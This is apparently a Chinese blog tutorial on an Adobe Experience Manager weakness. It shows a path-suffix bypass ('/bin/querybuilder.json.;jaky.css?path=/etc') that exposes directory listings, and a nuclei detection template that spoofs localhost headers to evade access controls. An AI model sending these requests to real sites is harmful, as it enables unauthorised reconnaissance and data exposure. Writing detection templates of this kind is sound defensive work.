一、首先:什么是AEM?
AEM 是 "Adobe Experience Manager" 的英文缩写。是由一个 Java 构建的全面的内容管理解决方案。它可以辅助网站的动态数字体验,也辅助了内容的碎片化整理。
一句话概括上面的官方废话:就是一个CMS
二、开门见山:
Adobe CQ5默认的查询服务器 JSON :
代码语言:javascript复制`http://localhost/bin/querybuilder.json
我们可以通过Fuzz来遍历系统读取的利用点
发现了状态200的利用方式
再构造文件读取参数?path=
链接缝合:
代码语言:javascript复制/bin/querybuilder.json.;
jaky.css?path=/etc
效果展示:
可见状态显示:success
并出现了etc下的目录
三、构造Template
代码语言:javascript复制id: Jaky_AEM
info:
name: Jaky_AEM
author: Jaky
severity: high
reference:
- https://www.luomiweixiong.com/
tags: Jaky_AEM
requests:
- method: GET
path:
- "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/etc"
- "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/home"
- "{{BaseURL}}/bin/querybuilder.json.;
jaky.css?path=/content"
headers:
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- "success.*results"
info:告诉nuclei该Template的信息.
requests:请求方式 (一看就懂).
headers:加入127.0.0.1的一些方式,可以绕过某种机制.
matchers:回显的匹配,正则、状态码等.